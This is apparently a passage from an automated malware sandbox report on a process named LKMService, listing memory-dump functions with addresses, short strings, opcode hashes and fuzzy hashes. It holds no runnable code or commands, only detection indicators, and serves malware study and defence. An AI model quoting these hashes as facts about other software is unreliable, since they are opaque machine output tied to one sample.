4`q, xrefs: 03103936
fcq, xrefs: 03103B13

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq$4`q
API String ID: 0-4026759131
Opcode ID: 4fade53812f5c6e25f386b332a7b141c1d6a58fe683a2145a85df2e3e1d14f31
Instruction ID: 160278895af8f32247ac30ae484bedd4310af4d3a7aabc40ac66ba03794d94f8
Opcode Fuzzy Hash: 4fade53812f5c6e25f386b332a7b141c1d6a58fe683a2145a85df2e3e1d14f31
Instruction Fuzzy Hash: 54C14774E012499FCB09CF68D580A9DBBF2BF89310F1581A6E856EB3A5DB30ED45CB50

Function 03103DCF Relevance: 2.6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

Strings

, xrefs: 03103E2F
`_q, xrefs: 03103E1B

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: `_q$
API String ID: 0-4184598474
Opcode ID: 4c4434de195429e0b3fd5b14f6e84f617c951c78dac649b6998ed2f30b54a97d
Instruction ID: dcb63ad57b2d30d0d56d13b4cb90ab851c9f6435c14dd137c65297871e5934c8
Opcode Fuzzy Hash: 4c4434de195429e0b3fd5b14f6e84f617c951c78dac649b6998ed2f30b54a97d
Instruction Fuzzy Hash: 2231E531A002158FCB25CF69C940ADEBBF1FF89350B148B6ED499EB2A5D731E805CB61

Function 031066CD Relevance: 2.3, Strings: 1, Instructions: 1023COMMON

Download Yara Rule

Strings

xbq, xrefs: 03106B8B

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: xbq
API String ID: 0-73991425
Opcode ID: fc4f3c0fe19253423e396309297780791c346ba7fcaf464199be83e1726ef7ee
Instruction ID: a54f8fce2bf1ddccd620faaff5d892fe586c387c4444c7e1e1dd0d25d385525b
Opcode Fuzzy Hash: fc4f3c0fe19253423e396309297780791c346ba7fcaf464199be83e1726ef7ee
Instruction Fuzzy Hash: 8951BE713002019FDB15DF28C854BAAB7A2FF89310F198469E80A8B3E5DB75EC56CB50

Function 031077D0 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

fcq, xrefs: 03107803

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: e5cc6e67d27df795f696baccee8b74bf16c8fbc851ba2baeb14cd6e100f19552
Instruction ID: 1061c935a097864fb9bb0b284c5d9bc508fc88eece9256fbab2d81d221f9f571
Opcode Fuzzy Hash: e5cc6e67d27df795f696baccee8b74bf16c8fbc851ba2baeb14cd6e100f19552
Instruction Fuzzy Hash: 74C15874E002098FDB15DF68D484A9DBBF2FF89310F1581A9E855EB3A5DB30AD46CB50

Function 03103890 Relevance: 1.5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

fcq, xrefs: 03103B13

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: b11f92a1cf3493c7e441ca7b672567eb2ee11de51f37d9cd9a7fdb22f4aa403b
Instruction ID: 5aad6880edcc0d7d1e3a94a1aea1beeadeb24f7a0479d35d0099cbc59b8650ac
Opcode Fuzzy Hash: b11f92a1cf3493c7e441ca7b672567eb2ee11de51f37d9cd9a7fdb22f4aa403b
Instruction Fuzzy Hash: 33C1BC74E052449FCB0ACF68D580A9DBBF1BF8A310F198196E855EB3A2DB30DD45CB60

Function 031038F1 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

fcq, xrefs: 03103B13

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: cacc7637972e6ddd523031eec148dfd5abb428f63af71c825ce6bb68a2b5dcad
Instruction ID: ef552c0fe0ab737b3c3f73c5e950911b1d5d328b74b17515f54144c0847eddb6
Opcode Fuzzy Hash: cacc7637972e6ddd523031eec148dfd5abb428f63af71c825ce6bb68a2b5dcad
Instruction Fuzzy Hash: 23B15674E012499FCB09CF68D580A9DBBF2BF89310F1581A6E856EB3A5DB30ED45CB50

Function 03104378 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

LR^q, xrefs: 031043AC

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 58ff0f8f519ed3c1c5464380962f3d23e399ff1fccd5b566239919299f5bfa37
Instruction ID: f3555aa55506c1be9f5210c1787322aeb8d69daca84f55ee7ca3a3303c5d3739
Opcode Fuzzy Hash: 58ff0f8f519ed3c1c5464380962f3d23e399ff1fccd5b566239919299f5bfa37
Instruction Fuzzy Hash: 4D315474E102059FCB58DFB9D594AAEBBF2AF88210F258069E546EB3A0DB709C41CB51

Function 03104388 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

LR^q, xrefs: 031043AC

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: c04cae3d1ae8cafefc9e2813c2d8bd98246b05dd93837b3930fc9ca243387780
Instruction ID: 5878291d95a8c0f01162b6483dcad2acdfcaf7c58ba4b7218772d271ff4f0c53
Opcode Fuzzy Hash: c04cae3d1ae8cafefc9e2813c2d8bd98246b05dd93837b3930fc9ca243387780
Instruction Fuzzy Hash: 49315A34A002059FCB14DFB9D594A9EBBF2BF8C210F258069E506EB3A4DF709C41CB51

Function 0310168D Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

_, xrefs: 0310170A

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 0c03720c75c39c3cc9d4de0da5fa7da2852d801b421fa02204a865fc6488cd24
Instruction ID: 013fe624204d253a13e844dc6756164d53e50bf4c0e3561c73e859884e7a2445
Opcode Fuzzy Hash: 0c03720c75c39c3cc9d4de0da5fa7da2852d801b421fa02204a865fc6488cd24
Instruction Fuzzy Hash: 7F115971A4D3805FC71393349C100AEBFA5AFC726074944FBD445CF2A6DB559C05C791

Function 03100DE8 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f5f5509d57435f94b484077545a5d4414bdb5bac1cb76a8f30f49745deab58
Instruction ID: 32be5401d972edaa395798c83be66be3474229a9cee34ab8534eb05f1f4bac27
Opcode Fuzzy Hash: 01f5f5509d57435f94b484077545a5d4414bdb5bac1cb76a8f30f49745deab58
Instruction Fuzzy Hash: 16F1E335A002488FDB15DFA8C584ADCBBF2BF4D320F199094E445AB3A6DB75AD85CF60

Function 03104A89 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ce79359d52b7f550a61cb2374063ea6aea30a893c6f1240982a9c3222f9ebe
Instruction ID: cce498d57e9b33993b42d1f59ac89ce5b409cf30a1d78ef41a9630548f1d9f39
Opcode Fuzzy Hash: c7ce79359d52b7f550a61cb2374063ea6aea30a893c6f1240982a9c3222f9ebe
Instruction Fuzzy Hash: 62C10674A002098FCB05DF69D580A9DBBF2FF89310F198595E819AB365DB70ED86CF80

Function 03100DDA Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26320d933800235c972acc83b34c4fc2fc4b7a9d02a2433fe96ee2453547e198
Instruction ID: 6b18552eb8feaa6084fdc4589e3cd6cb71f424acb73eae3447195cddd9bf8e95
Opcode Fuzzy Hash: 26320d933800235c972acc83b34c4fc2fc4b7a9d02a2433fe96ee2453547e198
Instruction Fuzzy Hash: 7DC1E175A002488FDB15CFA8C584ADCBBF2AF8D320F198194E445EB3A6D775AD85CF60

Function 03102C50 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67185c785fd125f3103034a845a7143b7fca11025b6bfa67cc9aef89f65dbee
Instruction ID: a37b8b16813db03f60faab2ba5d568e8592d17bb346d6dc5a4a808a9c16fd308
Opcode Fuzzy Hash: f67185c785fd125f3103034a845a7143b7fca11025b6bfa67cc9aef89f65dbee
Instruction Fuzzy Hash: FAA121B4A102599FDB16CFA8D984ACCBBF2FF4A300F144691F851AB3A5C771AD41CB60

Function 031026A8 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1f1af834e2f2bac3dc70a089846b87a5aef1a29a8035412563fe0f4b39116c
Instruction ID: d2b899442285ab2827c44b0dcbdb19bd6cba104aeb8a24df120f4ec1c80ed2ce
Opcode Fuzzy Hash: ab1f1af834e2f2bac3dc70a089846b87a5aef1a29a8035412563fe0f4b39116c
Instruction Fuzzy Hash: 3F512875E00258DFDB14CFA9D8847DDFBF5AF88314F14842AE419AB294DBB49846CF80

Function 0310269C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 350a5ce34a2dfb8b3b584bd5d23b9534c404059724e5bffd287820d871dc8fd6
Instruction ID: 661a88f6d060827c312b317d30c3ff29c6d066aae6f36db88716b97c5be5216f
Opcode Fuzzy Hash: 350a5ce34a2dfb8b3b584bd5d23b9534c404059724e5bffd287820d871dc8fd6
Instruction Fuzzy Hash: 755127B5D00258DFDB14CFA9D888BDDFBF5AF48304F14852AE419AB294DBB49846CF81

Function 03102898 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2705d36295d83b2940414f50bfe00365001619046a20110e815561ab95fbc89
Instruction ID: 02a6ef45c65b2f34e213af0f3edb56a48fbe63c54f02b397ff7e24e704f1c0e1
Opcode Fuzzy Hash: d2705d36295d83b2940414f50bfe00365001619046a20110e815561ab95fbc89
Instruction Fuzzy Hash: E7514A75E00318CFCB14DFA9D99479DFBF5EF88310F148829E459AB294DBB49846CB90

Function 0310288D Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af01856d5ee43d96f8a1ed8a62440b4d212b7426722f256b08ede7a238ca4189
Instruction ID: c3088128e41355a02e0a2b16997da1941d309a8555e1be91085b6d9848260a5f
Opcode Fuzzy Hash: af01856d5ee43d96f8a1ed8a62440b4d212b7426722f256b08ede7a238ca4189
Instruction Fuzzy Hash: 82515A74D00228DFCB14CFA9D998BDDFBF1AF48314F14882AE459AB294DBB49846CF50

Function 03102338 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c28547930569c7694d6590423838ddebab950775b2e77bae91552843c0055360
Instruction ID: d1da3d1c07f137784be88c27acfe2a3e71b205e8c147aa2c0a29800a2815dfbf
Opcode Fuzzy Hash: c28547930569c7694d6590423838ddebab950775b2e77bae91552843c0055360
Instruction Fuzzy Hash: 4941D470B012019FC715DF68E984A5EFBF2FF88210B148939E05ADB3A5DB30AC46CB91

Function 03100B28 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d123d4cca22362cc9526c0db5f5a09f5af8b7195a171a16716a680de28cce0
Instruction ID: 9d23e6a468ab88fe7ed7918b968a4106eae4ee5a9988bfaf490309f475032a6f
Opcode Fuzzy Hash: c3d123d4cca22362cc9526c0db5f5a09f5af8b7195a171a16716a680de28cce0
Instruction Fuzzy Hash: 5A41C070A007558FDB25CF28D944A9EBBF2FF8D310B18466AE496EB2A5C730AC44CB10

Function 03101D28 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84346b7d71c0002dad722d5e6b1734bef50763e117ad6d73c430ce1c96e2551
Instruction ID: e49fc76498334051427382c0de67981669564c0125622b45893dcdaf13fe823c
Opcode Fuzzy Hash: c84346b7d71c0002dad722d5e6b1734bef50763e117ad6d73c430ce1c96e2551
Instruction Fuzzy Hash: DC31B630A01305AFCB25DF28E540A9EFBF2FF88310B14857AE0569B3A5DB70AD55CB51

Function 03104800 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7e98db4001bd2c1ade93b043036fa3f164ca052681ea92d80ec5f3df1e20c6
Instruction ID: d82a28275301e354bf12ef63f330af3914c490be0ba0ddd2547d95a0363ecbb4
Opcode Fuzzy Hash: ab7e98db4001bd2c1ade93b043036fa3f164ca052681ea92d80ec5f3df1e20c6
Instruction Fuzzy Hash: 8141A270A047558FDB25CF69C9806DABBF1FF8C300F044A6AD485EB6A5DB74A944CF20

Function 03105517 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d6c73dd5d4b1d41dc210643fc1ed79bbaee01ffee83f9df4da9d691607c727
Instruction ID: bafee43b329cd222a14a98e69049948c6ba407e780962de76d5b825b01df8921
Opcode Fuzzy Hash: 61d6c73dd5d4b1d41dc210643fc1ed79bbaee01ffee83f9df4da9d691607c727
Instruction Fuzzy Hash: 26314471A002588FDB06CFA8C950ADDBBF2BF8E310B5541A5E445BB3A5CB31AE01CF60

Function 0310448C Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9dee4f154c92c48d1d7c82cc4fd90a3cf4a46eee0c14724bfbd6eb41b2a9632
Instruction ID: 1e01d92b5bb8802b82a8e3e41f3f22e5e842ffc7d4cee13bc9eb1478f71a457f
Opcode Fuzzy Hash: c9dee4f154c92c48d1d7c82cc4fd90a3cf4a46eee0c14724bfbd6eb41b2a9632
Instruction Fuzzy Hash: C931FC70A006069FDB15DF69C94069DFBF2BF8C300F04466AE44AEB690DF34A805CBA1

Function 03105CF5 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f57309ced427e08e05a424e5671505578b80e8600c66a80d256f64eb49011d
Instruction ID: 5e3fcef44bc126dfdadcc1b3644830ea121d681d3691bd05f54d5eba077cf6f4
Opcode Fuzzy Hash: f1f57309ced427e08e05a424e5671505578b80e8600c66a80d256f64eb49011d
Instruction Fuzzy Hash: 89313A70D042489FCB14CFA9C984ADEFFF2AF88300F148429E559AB250DB749945CF94

Function 03105D00 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08feab4c30f8722e7e5e49dd7ea6b7d9b2b746ece14e55611b53084c868dcc03
Instruction ID: 6919d6312fb5f94c1dfbfdc6dc33ca82c789d1a295c5b28b52449fbc8a010714
Opcode Fuzzy Hash: 08feab4c30f8722e7e5e49dd7ea6b7d9b2b746ece14e55611b53084c868dcc03
Instruction Fuzzy Hash: 86313A70D042489FCB14DFAAC984ADEFFF6AF48300F248429E958AB350DB749945CF94

Function 03101E80 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 952c1f364f1662f8a8f9b8fd025e13cc6bad154c374faab76f48cc4b51beeb35
Instruction ID: 2d54aa72330de49ef400ea3428aa72f0f895dae6896a0481279f6cc65eaef83f
Opcode Fuzzy Hash: 952c1f364f1662f8a8f9b8fd025e13cc6bad154c374faab76f48cc4b51beeb35
Instruction Fuzzy Hash: 8621EE36E01204AFCB15DBA4E9406DDBFF6AF8A310F1881BBE401AB2A5CB355945CB21

Function 03102A48 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a279637d599f872873d8429d63de8866d2988ffb2ba5583b56d2b2d145f82d
Instruction ID: 4f050b2253edf61aaa7c4e0cbff83a4a7e2582c3f5dcab5568158a13dc0497cd
Opcode Fuzzy Hash: c3a279637d599f872873d8429d63de8866d2988ffb2ba5583b56d2b2d145f82d
Instruction Fuzzy Hash: 5E31E2B5D01258DFCB14DFA9D894BDEFBF5AF48310F24842AE405B7280CB74A946CB90

Function 0153D61C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19111acaf92961c6a197cdb3757751628313c0bf711aae5ddc2bfa7dd7ac6e57
Instruction ID: 5236a93aca08890168d880573d72ac178425f46d5f57a44fee950d540eccc928
Opcode Fuzzy Hash: 19111acaf92961c6a197cdb3757751628313c0bf711aae5ddc2bfa7dd7ac6e57
Instruction Fuzzy Hash: 8C2133B1500204DFCB01DF98D9C0B2ABFB5FBC8310F608569E9090F266C336D456DAA1

Function 0153D708 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2927fd9f5b8a49feb8a004a2c20db42d754eeabb132de3fdc8e087ee22fc3417
Instruction ID: 9f11f3f52ccb635fc0cc41d79611038a1de33e83ae9507a36926637a0a371c4d
Opcode Fuzzy Hash: 2927fd9f5b8a49feb8a004a2c20db42d754eeabb132de3fdc8e087ee22fc3417
Instruction Fuzzy Hash: A7214272500284DFDB06DF98C9C4B2ABFB5FBC8314F608569E9094F256C336D456CBA2

Function 03100A60 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2face9ef5c3e3d54b986bfc52ecfd2927734347d978751447b75fa613b4ea5e5
Instruction ID: d196f60896813abb094344a1af3cadf8a5af8b81a229769425e001d97f0c5292
Opcode Fuzzy Hash: 2face9ef5c3e3d54b986bfc52ecfd2927734347d978751447b75fa613b4ea5e5
Instruction Fuzzy Hash: 112106343104118FC784EB2CE598A2E7BE6FFC9615B6544A9F40ADB3B6CA65DC028B51

Function 031051F0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b369a24359fee1312a23d686a95da7ea8dc69835e34eda947159ff6c39ab8a87
Instruction ID: 6747dad06a1c07bebc11a2bb58bcc210f020d8fcb4ad764b9d50a9e47400981e
Opcode Fuzzy Hash: b369a24359fee1312a23d686a95da7ea8dc69835e34eda947159ff6c39ab8a87
Instruction Fuzzy Hash: E5215935A05214CFDB14DBB8D854BAEBBB2AF8D344F188069D812BB391CBB59C41CF90

Function 03100A70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c624de5255080e2fc4f00ecb7426c0d51f133deae3cae5c56b762f96a93024f
Instruction ID: 6bae20c16fa589d1f71fd71eb9683b94139abeead5a8af6124afef141f7baba5
Opcode Fuzzy Hash: 1c624de5255080e2fc4f00ecb7426c0d51f133deae3cae5c56b762f96a93024f
Instruction Fuzzy Hash: 471137343000118FC744EB2DD598A2E7BE6FFC9A1576540A8E50ACF3B5CE61DC028B91

Function 03102A3C Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4327aef6acd70e62fe75b32595310f79ce4b1ba4f37d8a98e04697bddd52ff
Instruction ID: 3a1062fae71830589382c8d6c34113cfc2711b25f8dcddcd379b567d984bd9b3
Opcode Fuzzy Hash: 4a4327aef6acd70e62fe75b32595310f79ce4b1ba4f37d8a98e04697bddd52ff
Instruction Fuzzy Hash: 5A21F6B4D01358DFCB14DFA9C898BDEBBF5AF48310F248429E405B7290CB74A946CBA4

Function 03105200 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9bc953158f78d833b2678a5570834c37d74f6a874317a45c15bf7a4f16c14e
Instruction ID: ce855fc12e56bf1ea610b8d16dd1292365d839b0eee8c2266a2782b58d64737d
Opcode Fuzzy Hash: 7e9bc953158f78d833b2678a5570834c37d74f6a874317a45c15bf7a4f16c14e
Instruction Fuzzy Hash: 2B214A35A04208CFDB14EBA9D854BAEB7B6AF8D350F148029D812BB3D4CBB59C41CF90

Function 03102FF0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cf6e8c930e5e59466b03315025a426f3a6b57e55cfd68777d705baee7cd2a5
Instruction ID: bf6f188b022da184fd2615eea645aa295dc1b8da8f9d0cde6af84baf7496bb03
Opcode Fuzzy Hash: 33cf6e8c930e5e59466b03315025a426f3a6b57e55cfd68777d705baee7cd2a5
Instruction Fuzzy Hash: E911B632D5020A9BDF10DFA8D9445EEFBB5AF84310F154A66D011B7294DF70254BCB92

Function 03100E79 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c65618c5586c938c28ffc1d988036af8caa8e2f96c7949cebb60c98c5b7d48e
Instruction ID: 7943d1c7ad6050320442f1c1fd7c2bf988d23aa64db30bf1a63ebd8571694ff0
Opcode Fuzzy Hash: 3c65618c5586c938c28ffc1d988036af8caa8e2f96c7949cebb60c98c5b7d48e
Instruction Fuzzy Hash: 8E218C39A002088FDB15CF98D5849DCBBF6EF8D220F1890A5E805AB265DB61AD85CF60

Function 031056E2 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f640883e38a8f195c2e71169ff4fdc4192a2572cefb7beec40035772e1ea6c
Instruction ID: 64d4c03246327e1113ec478b6c6730b970e6801b87acadf74e74a6e52c203f45
Opcode Fuzzy Hash: a9f640883e38a8f195c2e71169ff4fdc4192a2572cefb7beec40035772e1ea6c
